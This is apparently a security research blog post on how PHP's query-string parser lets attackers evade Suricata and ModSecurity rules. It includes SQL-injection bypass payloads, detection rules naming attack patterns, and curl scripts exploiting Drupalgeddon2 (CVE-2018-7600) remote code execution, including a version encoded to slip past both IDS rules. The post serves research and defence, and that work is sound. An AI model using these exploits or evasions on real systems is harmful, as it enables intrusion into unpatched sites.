Abusing PHP query string parser to bypass IDS, IPS, and WAF
Learn how IDS, IPS, and WAFs are vulnerable because of the design limitations of the PHP query string parser.
In this post, we'll see how the PHP query string parser could lead to many IDS/IPS and Application Firewall rules bypass.
TL;DR: As you know, PHP converts query string (in the URL or body) to an associative array inside $_GET
or $_POST
. For example: /?foo=bar
becomes Array([foo] => "bar")
. The query string parsing process removes or replaces some characters in the argument names with an underscore. For example /?%20news[id%00=42
will be converted to Array([news_id] => 42)
. If an IDS/IPS or WAF has a rule for blocking or logging a non-numeric value in the news_id parameter, it could be bypassed by abusing of this parsing process with something like:
In PHP, the value of the argument name in the example above %20news[id%00
will be stored to $_GET["news_id"]
.
Why?
PHP needs to convert all arguments into a valid variable name, so when the query string is parsed it does two main things:
- removes initial whitespace
- converts some characters to underscore (including whitespace)
For example:
User input | Decoded | PHP variable name |
---|---|---|
%20foo_bar%00 | foo_bar | foo_bar |
foo%20bar%00 | foo bar | foo_bar |
foo%5bbar | foo[bar | foo_bar |
With a simple loop such as the following, you can discover which character is removed or converted to underscore by using the parser_str
function:
<?php
foreach(
[
"{chr}foo_bar",
"foo{chr}bar",
"foo_bar{chr}"
] as $k => $arg) {
for($i=0;$i<=255;$i++) {
echo "\033[999D\033[K\r";
echo "[".$arg."] check ".bin2hex(chr($i))."";
parse_str(str_replace("{chr}",chr($i),$arg)."=bla",$o);
/* yes... I've added a sleep time on each loop just for
the scenic effect :) like that movie with unrealistic
brute-force where the password are obtained
one byte at a time (∩`-´)⊃━☆゚.*・。゚
*/
usleep(5000);
if(isset($o["foo_bar"])) {
echo "\033[999D\033[K\r";
echo $arg." -> ".bin2hex(chr($i))." (".chr($i).")\n";
}
}
echo "\033[999D\033[K\r";
echo "\n";
}
parse_str
is used over get, post, and cookie. Something similar happens with headers too if your web server accepts header names with dots or whitespaces. I've executed three times the loop above, enumerating all characters from 0 to 255 in both ends of the parameter name, and instead of the underscore. This is the results:
- [1st]foo_bar
- foo[2nd]bar
- foo_bar[3rd]
In the scheme above foo%20bar
and foo+bar
are equivalent and parsed as foo bar
.
Suricata
For the uninitiated, Suricata is an "open-source, mature, fast and robust network threat detection engine" and its engine is capable of real-time intrusion detection (IDS), inline intrusion prevention (IPS), network security monitoring (NSM) and offline pcap processing.
With Suricata, you can even define a rule that inspects HTTP traffic. Let's assume you have a rule like:
msg: "Block SQLi"; flow:established,to_server;\
content: "POST"; http_method;\
pcre: "/news_id=[^0-9]+/Pi";\
sid:1234567;\
)
This rule checks if news_id
has a non-numeric value. In PHP it can be easily bypassed abusing of its query string parser, like one of the following:
/?news%5bid=1%22+AND+1=1--'
/?news_id%00=1%22+AND+1=1--'
Searching on Google and GitHub, I found out that there're many Suricata rules for PHP that could be bypassed by replacing underscore, adding a null byte, or whitespace in the inspected argument name. A real example:
As we saw before, it could be bypassed by:
To be honest, it would be enough to change the argument position like:
WAF (ModSecurity)
The PHP query string parser could be abused to bypass WAF rules too. Imagine a ModSecurity rule like SecRule !ARGS:news_id "@rx ^[0-9]+$" "block"
obviously is prone to the same bypass technique. Fortunately, in ModSecurity, you can specify a query string argument by a regular expression. Something like:
This will block all the following requests:
⛔️/?news%5bid=1%22+AND+1=1--'
⛔️/?news_id%00=1%22+AND+1=1--'
PoC || GTFO
Let's create a PoC with Suricata and Drupal CMS to exploit CVE-2018-7600 (Drupalgeddon2 Remote Code Execution). To keep it simple, I'll run Suricata and Drupal on two docker containers, and I'll try to exploit Drupal from the Suricata container.
I'll activate two rules on Suricata:
- A custom rule that blocks
form_id=user_register_form
- A Positive Technologies Suricata rule for CVE-2018-7600
For the Suricata installation, I followed the official installation guide, and for Drupal, I ran the vulhub container that you can clone here:
Ok, first of all, let's try to exploit CVE-2018-7600. I want to create a little bash script that executes curl, something like:
#!/bin/bash
URL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
QSTRING="form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]="
COMMAND="id"
curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL"
As you can see, the script above executes the command id
. Let's try it:
Now let's try to import the following two rules in Suricata: I wrote the first one, and it just tries to match form_id=user_register_form
inside a request body; Positive Technology wrote the second and matches /user/register
in the request URL and something like #post_render
in the request body.
My rule:
msg: "Possible Drupalgeddon2 attack";\
flow: established, to_server;\
content: "/user/register"; http_uri;\
content: "POST"; http_method;\
pcre: "/form_id=user_register_form/Pi";\
sid: 10002807;\
rev: 1;\
)
PT rule:
msg: "ATTACK [PTsecurity] Drupalgeddon2 <8.3.9 <8.4.6 <8.5.1 rce through registration form (cve-2018-7600)"; \
flow: established, to_server; \
content: "/user/register"; http_uri; \
content: "POST"; http_method; \
content: "drupal"; http_client_body; \
pcre: "/(%23|#)(access_callback|pre_render|post_render|lazy_builder)/Pi"; \
reference: cve, 2018-7600; \
reference: url, research.checkpoint.com/uncovering-drupalgeddon-2; \
classtype: attempted-admin; \
reference: url, github.com/ptresearch/AttackDetection; \
metadata: Open Ptsecurity.com ruleset; \
sid: 10002808; \
rev: 2; \
)
8.3.9>
After restarting Suricata, I'm ready to know if the two rules above will intercept my exploit:
Yeah! We have two Suricata logs:
- ATTACK [PTsecurity] Drupalgeddon2 <8.3.9 <8.4.6 <8.5.1 RCE through registration form (CVE-2018-7600) [Priority: 1] {PROTO:006} 172.17.0.6:51702 -> 172.17.0.1:8080
- Possible Drupalgeddon2 attack [Priority: 3] {PROTO:006} 172.17.0.6:51702 -> 172.17.0.1:8080
Bypass all the things!
Both rules are really easy to bypass. We've already seen how to bypass my rule abusing of PHP query string parser. We can replace form_id=user_register_form
to something like:
form%5bid=user_register_form
As you can see, only the PT rule matched. Analyzing the regex of the PT rule, we can see that it match # and his encoded version %23. What it doesn't is to match the encoded version of underscore character. So, we can just bypass it by using post%5frender
instead of post_render
:
Both rules have been bypassed by the following exploit:
#!/bin/bash
URL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
QSTRING="form%5bid=user_register_form&_drupal_ajax=1&mail[#post%5frender][]=exec&mail[#type]=markup&mail[#markup]="
COMMAND="id"
curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL"
Video
Updates
- 10th Jul 2019 Attack Detection fix his CVE-2018-7600 rule https://twitter.com/AttackDetection/status/1148940561962999813?s=20